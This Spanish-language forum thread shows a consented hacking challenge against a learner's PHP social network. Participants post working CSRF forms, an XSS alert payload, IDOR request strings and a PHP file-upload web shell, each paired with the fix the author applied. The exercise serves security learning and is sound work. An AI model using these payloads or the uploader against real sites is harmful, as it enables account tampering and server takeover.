Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[RETO] Hackea la red social de Underc0de !

  • 20 Respuestas
  • 9971 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Este post tiene marcado una respuesta como solución Presiona acá para verlo

Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« en: Noviembre 16, 2018, 07:50:12 pm »
Hola a todos !
La cosa es que estoy aprendiendo PHP e hice una red social para Underc0de en la cual pueden probar todas las maldades que se les ocurran.
Por un lado es muy bueno para quienes se inician en el hacking para buscar vulnerabilidades ya que como yo me estoy iniciando en lo que es PHP seguro hay varias vulnerabilidades en la pagina. 

Les agradezco todas las criticas y sugerencias !

Registrense, envien algunas solicitudes y no tengan piedad  :P

Les pido 2 cosas:
  • Cuando se registren dejen su nombre de usuario en este post
  • Al encontrar alguna vulnerabilidad o bug comentenlo aqui mismo, ya que la idea es hacer un post de como explotar y fixear dichas vulnerabilidades.



Para ingresar al Reto, les dejo el link: SocialC0de


Let the game begin !
« Última modificación: Noviembre 17, 2018, 12:16:20 am por xyz »


Con la fuerza del mar, con la paz del rio


Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 215
  • Actividad:
    18.33%
  • Reputación 4
    • Ver Perfil
« Respuesta #1 en: Noviembre 16, 2018, 08:25:59 pm »
hielasangre es el nick con el que me registre. A priori hay un erro de diseño e implementación:
El login permite la enumeración de usuarios validos, ya que si pongo un usuario que no existe dice "usuario inexistente", en cambio si pongo un usuario existente, con una contraseña equivocada me dice que el error es la contraseña... Entonces puedo adivinar los users, y este error (minimo) desemboca en otro, en la fuerza bruta de usuarios, ya que cuando no se puede entrar con un usuario valido, dice que la clave es incorrecta, y al no tener captcha se puede automatizar.
De momento solo eso, pero ya veré que mas se me ocurre.



Al no contar los likes con un token de validación o algo similar, con este sencillo código, las personas que visiten un link le darían like sin darse cuenta.

Código: [Seleccionar]
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>
« Última modificación: Noviembre 16, 2018, 10:37:17 pm por xyz »

Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« Respuesta #2 en: Noviembre 16, 2018, 09:58:01 pm »
Al no contar los likes con un token de validación o algo similar, con este sencillo código, las personas que visiten un link le darían like sin darse cuenta.

Código: [Seleccionar]
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>
Eso funcionaria solo si se encuentran logueados en su cuenta, la funcion de agregar me gusta requiere el codigo de usuario que esta en la variable global $_SESSION
« Última modificación: Noviembre 16, 2018, 10:02:42 pm por Bartz »


Con la fuerza del mar, con la paz del rio


Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 215
  • Actividad:
    18.33%
  • Reputación 4
    • Ver Perfil
« Respuesta #3 en: Noviembre 17, 2018, 12:14:03 pm »
ah ok! entonces voy a crearme un usuario de pruebas, para poder hacer las pruebas bien :D

Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 215
  • Actividad:
    18.33%
  • Reputación 4
    • Ver Perfil
« Respuesta #4 en: Noviembre 18, 2018, 04:49:58 am »
Código: [Seleccionar]
Linux us-imm-web139.main-hosting.eu 3.10.0-714.10.2.lve1.5.19.3.el7.x86_64 #1 SMP Tue Aug 7 21:33:29 EDT 2018 x86_64

/home/u481171016/domains/afaik.cf/public_html/socialc0de/


Desconectado Olger346

  • *
  • Underc0der
  • Mensajes: 38
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
  • Twitter: @Olger346
« Respuesta #5 en: Noviembre 18, 2018, 10:37:51 am »
Nick: Hack666, hasta donde puedo apreciar la aplicación no valida el MIME type del archivo, por lo que se puede subir prácticamente cualquier tipo de archivo como foto de perfil. (probado con XML, MD). De todas formas como es blackbox, me dirás si los archivos fueron subidos o no. (validar mime type)

Btw: solo a manera de recomendación, ya que me gustó bastante todo, sería genial que la pusieras en github o hacer un review para linkedin, uno nunca sabe cuando proyectos como este puedan darte una buena oportunidad laboral.
"Cuando se nace pobre, estudiar es el mayor acto de rebeldía contra el sistema. El saber rompe las cadenas de la esclavitud" -Tomas Bulat.

Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 215
  • Actividad:
    18.33%
  • Reputación 4
    • Ver Perfil
« Respuesta #6 en: Noviembre 18, 2018, 02:40:15 pm »
Permite subir todo tipo de archivos, es por eso que pude realizar ejecución de código de manera arbitraria.

Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« Respuesta #7 en: Noviembre 18, 2018, 03:45:01 pm »
Permite subir todo tipo de archivos, es por eso que pude realizar ejecución de código de manera arbitraria.
Vaya descuido xD
Felicidades bro !!
Ya sale el fixeo de esa vuln asi esto se pone cada vez mejor (:

btw, el error es en el archivo de la foto perfil solamente, no ? osea que en el subir de index.php no te lo permite o si ?


Con la fuerza del mar, con la paz del rio


Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« Respuesta #8 en: Noviembre 18, 2018, 03:46:41 pm »
Btw: solo a manera de recomendación, ya que me gustó bastante todo, sería genial que la pusieras en github o hacer un review para linkedin, uno nunca sabe cuando proyectos como este puedan darte una buena oportunidad laboral.
Es verdad, es una buena manera de mostrar lo que uno puede hacer.. Gracias por el incentivo @Olger346 :)


Con la fuerza del mar, con la paz del rio


Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 215
  • Actividad:
    18.33%
  • Reputación 4
    • Ver Perfil
« Respuesta #9 en: Noviembre 18, 2018, 03:46:58 pm »
Permite subir todo tipo de archivos, es por eso que pude realizar ejecución de código de manera arbitraria.
Vaya descuido xD
Felicidades bro !!
Ya sale el fixeo de esa vuln asi esto se pone cada vez mejor (:

btw, el error es en el archivo de la foto perfil solamente, no ? osea que en el subir de index.php no te lo permite o si ?

Asi parece! Creo que solo en el perfil!

Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« Respuesta #10 en: Noviembre 18, 2018, 03:58:58 pm »
De todas formas como es blackbox, me dirás si los archivos fueron subidos o no. (validar mime type)
si fueron subidos xD


Con la fuerza del mar, con la paz del rio


Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 215
  • Actividad:
    18.33%
  • Reputación 4
    • Ver Perfil
« Respuesta #11 en: Noviembre 19, 2018, 01:18:45 am »
Al no contar los likes con un token de validación o algo similar, con este sencillo código, las personas que visiten un link le darían like sin darse cuenta.

Código: [Seleccionar]
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>
Eso funcionaria solo si se encuentran logueados en su cuenta, la funcion de agregar me gusta requiere el codigo de usuario que esta en la variable global $_SESSION



Este es un POC de lo que te señalaba, podría ocultar ese frame en algun sitio o enviarselo con alguna mentira a alguno de los usuarios..

Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 215
  • Actividad:
    18.33%
  • Reputación 4
    • Ver Perfil
« Respuesta #12 en: Noviembre 19, 2018, 01:38:26 am »
PoC CSRF


Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« Respuesta #13 en: Noviembre 19, 2018, 10:08:42 pm »
PoC CSRF



Voy a tener que investigar como solucionar esto ya que no tengo ni idea de porque ocurre xD, en el caso del iframe de dar me gusta me suena claro ya que los parametros se envian por $_GET pero aqui que es por $_POST me has perdido jaja
Te molestaria pasarme el "payload" del boton ?


Con la fuerza del mar, con la paz del rio


Conectado hielasangre

  • *
  • Underc0der
  • Mensajes: 215
  • Actividad:
    18.33%
  • Reputación 4
    • Ver Perfil
« Respuesta #14 en: Noviembre 19, 2018, 11:50:55 pm »
PoC CSRF



Voy a tener que investigar como solucionar esto ya que no tengo ni idea de porque ocurre xD, en el caso del iframe de dar me gusta me suena claro ya que los parametros se envian por $_GET pero aqui que es por $_POST me has perdido jaja
Te molestaria pasarme el "payload" del boton ?

Si bartz! pare eso estamos, el payload no tiene gran ciencia!

Código: [Seleccionar]
<html>
 <body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
 </body>
</html>



podrias emplear tokens en los formularios! y validar que sean enviados cada vez que mandas un request, de esa manera solucionando un error solucionas los dos :)


Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« Respuesta #15 en: Noviembre 20, 2018, 10:15:20 pm »
FIXED ! :)

A ver que mas se puede encontrar !


Con la fuerza del mar, con la paz del rio


Desconectado Olger346

  • *
  • Underc0der
  • Mensajes: 38
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
  • Twitter: @Olger346
« Respuesta #16 en: Noviembre 21, 2018, 11:46:25 am »
PoC CSRF



Voy a tener que investigar como solucionar esto ya que no tengo ni idea de porque ocurre xD, en el caso del iframe de dar me gusta me suena claro ya que los parametros se envian por $_GET pero aqui que es por $_POST me has perdido jaja
Te molestaria pasarme el "payload" del boton ?

Si bartz! pare eso estamos, el payload no tiene gran ciencia!

Código: [Seleccionar]
<html>
 <body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
 </body>
</html>



podrias emplear tokens en los formularios! y validar que sean enviados cada vez que mandas un request, de esa manera solucionando un error solucionas los dos :)
Si por ahi está la https://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project implementación, sin embargo también he visto a muchas webs poner los tokens en el storage del cliente, si borras ese valor, los tokens nunca cambian ni se validan xD
"Cuando se nace pobre, estudiar es el mayor acto de rebeldía contra el sistema. El saber rompe las cadenas de la esclavitud" -Tomas Bulat.

Desconectado Nobody

  • *
  • Underc0der
  • Mensajes: 197
  • Actividad:
    0%
  • Reputación 4
  • Security as art.
    • Ver Perfil
    • Nobody Test Laboratory
  • Twitter: @n0bodysec
« Respuesta #17 en: Noviembre 22, 2018, 12:33:02 pm »
Vuln 1. Execution After Redirect

La red social es vulnerable a EAR, que consta de seguir ejecutando el código de la página luego de una verificación, ejemplo:

Código: PHP
  1. <?php
  2.  
  3. $_SESSION['username'] = "user";
  4.  
  5. if ($_SESSION['username'] !== "admin")
  6. {
  7.         header("Location: index.php");
  8. }
  9.  
  10. echo "Priv8 zone!";
  11.  
  12. ?>

La solución es colocar un exit(); debajo del header location.

Vuln 2. Input Validation

Por lo que vi, las imágenes subidas a las publicaciones se guardan como USERIDnombre_de_la_foto.ext.
Por ejemplo, user id = 1, foto = cat.jpg, resultado = 1cat.jpg
Si yo subo una foto de un gato con el nombre "cat.jpg", y luego, en otra publicación subo una foto de un perro con el mismo nombre (cat.jpg), se sobrescribe la foto anterior.
La solución sería usar algún tipo de ID único, como la función uniqid() de PHP.

Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=ID&&accion=1

Vuln 4. Input Validation
Es posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 3.
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Así mismo, es posible recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Vuln 5. Input Validation
Al registrarse, verifica correctamente si se utiliza un nombre de usuario ya existencia, pero esto no sucede al editar el perfil, pues puedo utilizar usuarios ya registrados (en este caso utilicé el tuyo), bloqueando la cuenta "duplicada", pues, es imposible loguearse.

P.S.: Deberías agregar un captcha al registro, para evitar spambots que creen miles de cuentas a la vez.
POST /socialc0de/registro.php
nombre=&usuario=&contra=&pais=&profesion=&edad=10&registrar=Registrar
Saludos.
« Última modificación: Noviembre 23, 2018, 01:02:41 am por Nobody »

Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« Respuesta #18 en: Noviembre 23, 2018, 08:21:32 pm »
Vuln 1. Execution After Redirect

La red social es vulnerable a EAR, que consta de seguir ejecutando el código de la página luego de una verificación, ejemplo:

Código: PHP
  1. <?php
  2.  
  3. $_SESSION['username'] = "user";
  4.  
  5. if ($_SESSION['username'] !== "admin")
  6. {
  7.         header("Location: index.php");
  8. }
  9.  
  10. echo "Priv8 zone!";
  11.  
  12. ?>

La solución es colocar un exit(); debajo del header location.

Vuln 2. Input Validation

Por lo que vi, las imágenes subidas a las publicaciones se guardan como USERIDnombre_de_la_foto.ext.
Por ejemplo, user id = 1, foto = cat.jpg, resultado = 1cat.jpg
Si yo subo una foto de un gato con el nombre "cat.jpg", y luego, en otra publicación subo una foto de un perro con el mismo nombre (cat.jpg), se sobrescribe la foto anterior.
La solución sería usar algún tipo de ID único, como la función uniqid() de PHP.

Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=ID&&accion=1

Vuln 4. Input Validation
Es posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 3.
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Así mismo, es posible recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Vuln 5. Input Validation
Al registrarse, verifica correctamente si se utiliza un nombre de usuario ya existencia, pero esto no sucede al editar el perfil, pues puedo utilizar usuarios ya registrados (en este caso utilicé el tuyo), bloqueando la cuenta "duplicada", pues, es imposible loguearse.

P.S.: Deberías agregar un captcha al registro, para evitar spambots que creen miles de cuentas a la vez.
POST /socialc0de/registro.php
nombre=&usuario=&contra=&pais=&profesion=&edad=10&registrar=Registrar
Saludos.

Te pasaste hermano ! Me has dado tarea para hacer ! jaja
Gracias por participar ! :)


PD.:
Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)
A esa no te la cuento porque igual te hubiera aceptado ! jajajaja
« Última modificación: Noviembre 24, 2018, 02:20:10 am por Bartz »


Con la fuerza del mar, con la paz del rio


Marcado como mejor respuesta por: Bartz en Noviembre 24, 2018, 02:18:33 am

Conectado Bartz

  • *
  • Moderador
  • Mensajes: 145
  • Actividad:
    18.33%
  • Reputación 4
  • ~Afaik~
    • Ver Perfil
« Respuesta #19 en: Noviembre 24, 2018, 02:18:17 am »
So.. Decidí volcar las vulnerabilidades y arreglos en este mismo post :D

Vuln 1 Cross Site Scripting (XSS)
Importancia: CRITICA
By @ANTRAX

En varios inputs, los datos que se ingresaban no estaban siendo validados, lo que resultaba en la ejecución de codigo albitrario desde el lado del cliente, y cada vez que alguien veia la publicación le saltaba el 'cartelito' del Alert

Ejemplo:


Código: [Seleccionar]
<script>alert("Hacker");</script>
<h1>Puedo poner un titulo</h1>

O uno mas complejo en el cual me dejó de regalo un uploader que permitia subir cualquier archivo:

Código: [Seleccionar]
<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'
echo 
'<input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form>'
if( 
$_POST['_upl'] == "Upload" ) { 
if(@
copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { 
echo 
'<b>Archivo subido!</b><br><br>'
}else { echo 
'<b>Upload Fail!</b><br><br></font>'; } }  ?>
Es mas, de tanto romper su perfil, nuestro amigo ANTRAX tuvo que pedirme que se lo arregle desde la BD porque lo habia destruido por completo  ::)


Solución

Limpiar los valores que se introducen en los inputs.
Para eso se usaron dos funciones, la primera hace uso de htmlentities que permite mostrar en pantalla los caracteres especiales pero los almacena como ASCII en la base de datos, logrando que no tengan efecto en la pagina.
La use dentro de una funcion propia para que si en algun momento tengo que cambiar htmlentities por otra cosa solo cambiarla desde aca y no tener que recorrer todo el codigo

Documentación: https://secure.php.net/manual/en/function.htmlentities.php

Código: [Seleccionar]
function limpiarentrada($input){
    $clean = htmlentities($input);
    return $clean;
}

La segunda funcion reemplaza cualquier caracter especial por un equivalente o lo elimina, esta fue usada en la parte de 'editar perfil' por ejemplo

Código: [Seleccionar]
function sanitize($string) {
    $clean_name = strtr($string, array('Š' => 'S','Ž' => 'Z','š' => 's','ž' => 'z','Ÿ' => 'Y','À' => 'A','Á' => 'A','Â' => 'A','Ã' => 'A','Ä' => 'A','Å' => 'A','Ç' => 'C','È' => 'E','É' => 'E','Ê' => 'E','Ë' => 'E','Ì' => 'I','Í' => 'I','Î' => 'I','Ï' => 'I','Ñ' => 'N','Ò' => 'O','Ó' => 'O','Ô' => 'O','Õ' => 'O','Ö' => 'O','Ø' => 'O','Ù' => 'U','Ú' => 'U','Û' => 'U','Ü' => 'U','Ý' => 'Y','à' => 'a','á' => 'a','â' => 'a','ã' => 'a','ä' => 'a','å' => 'a','ç' => 'c','è' => 'e','é' => 'e','ê' => 'e','ë' => 'e','ì' => 'i','í' => 'i','î' => 'i','ï' => 'i','ñ' => 'n','ò' => 'o','ó' => 'o','ô' => 'o','õ' => 'o','ö' => 'o','ø' => 'o','ù' => 'u','ú' => 'u','û' => 'u','ü' => 'u','ý' => 'y','ÿ' => 'y'));
    $clean_name = strtr($clean_name, array('Þ' => 'TH', 'þ' => 'th', 'Ð' => 'DH', 'ð' => 'dh', 'ß' => 'ss', 'Œ' => 'OE', 'œ' => 'oe', 'Æ' => 'AE', 'æ' => 'ae', 'µ' => 'u'));
    $clean_name = preg_replace(array('/\s/', '/\.[\.]+/', '/[^\w_\.\-]/'), array('_', '.', ''), $clean_name);
    $clean_name = strtolower($clean_name);
    return $clean_name;
}

Ya con esto logramos que el proximo que lo intente quede en el intento







Vuln 2 Shell Upload
Importancia: CRITICA
By @hielasangre & @Olger346

Por no haber checkeado el MIME type del archivo a subir se permitia subir cualquier tipo de archivo, Claro está que no iba a ser aprovechado para subir un GIF y no un JPG, sino que iba a ser utilizado para subir una shell que les permitiera tomar control del sitio


Solución
Chequear el tipo de archivo a subir, y solo permitir imagenes

Documentación: https://secure.php.net/manual/en/function.mime-content-type.php


Vuln 3 Cross Site Request Forgery (CSRF)
By @hielasangre

La vulnerabilidad permite a un sitio externo enviar peticiones a nuestro sitio, por lo que las personas que visiten un link le darían like a una publicación sin darse cuenta por ejemplo.

Ejemplo y Proof of Concept (POC)

Código: [Seleccionar]
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>

Con la misma vulnerabilidad CSRF si el atacante podia enviar un link en el cual permitia cambiar todos los datos del perfil

Código: [Seleccionar]
<html>
 <body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
 </body>
</html>

Gracias por los videos POC @hielasangre

Solución
Utilizar un token en un campo "hidden" para verificar que se este accediendo a los formularios desde el sitio original y no externamente
Material: https://codingcyber.org/secure-php-forms-csrf-tokens-7286/



Vuln 4 Execution After Redirect
By @Nobody

Esta Vulnerabilidad consta de seguir ejecutando el código de la página luego de una verificación

Ejemplo:

Código: [Seleccionar]
    <?php
     
    $_SESSION
['username'] = "user";
     
    if (
$_SESSION['username'] !== "admin")
    {
            
header("Location: index.php");
    }
     
    echo 
"Priv8 zone!";
     
    
?>

Solución
colocar un exit(); debajo del header location.



Vuln 5 Input Validation
By @Nobody

Por no haberle asignado un nombre unico a cada foto que se subia, si el nombre de una coincidia con una que ya habia sido subida, la imagen se reemplazaba

Solución
Usar un tipo de ID único, agregandole la función uniqid() antes del nombre del archivo a subir
 



Vuln 6 Insecure Direct Object Reference
By @Nobody

Era posible "auto aceptarse" la solicitud de amistad manipulando los parametros GET de la cabecera

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=VictimaID&&accion=1

Tambien era posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 6
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Solución
Arreglar la funcion que recibe esos parametros asegurandose que sean diferentes al usuario que se encuentra logueado actualmente

Vuln 7 Input Validation
By @Nobody
 
Se podia recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Solución
Arreglar las consultas a la base de dato para que no introduzcan valores repetidos


« Última modificación: Noviembre 24, 2018, 09:13:47 am por Gabriela »


Con la fuerza del mar, con la paz del rio


 

¿Te gustó el post? COMPARTILO!



Underc0de Weekend #2 [Solucionario]

Iniciado por q3rv0

Respuestas: 4
Vistas: 2579
Último mensaje Noviembre 08, 2014, 06:44:32 pm
por WhiZ
Underc0de Weekend #4 (Solucionario)

Iniciado por blackdrake

Respuestas: 5
Vistas: 3505
Último mensaje Diciembre 15, 2014, 10:44:59 am
por Satyricon
Underc0de Weekend #5

Iniciado por Jimeno

Respuestas: 2
Vistas: 2263
Último mensaje Enero 22, 2015, 06:03:50 pm
por rollth
Underc0de Weekend #4

Iniciado por blackdrake

Respuestas: 14
Vistas: 6992
Último mensaje Diciembre 14, 2014, 08:03:15 am
por blackdrake
Underc0de Weekend #3

Iniciado por ANTRAX

Respuestas: 6
Vistas: 3661
Último mensaje Noviembre 12, 2014, 09:30:51 am
por DeBobiPro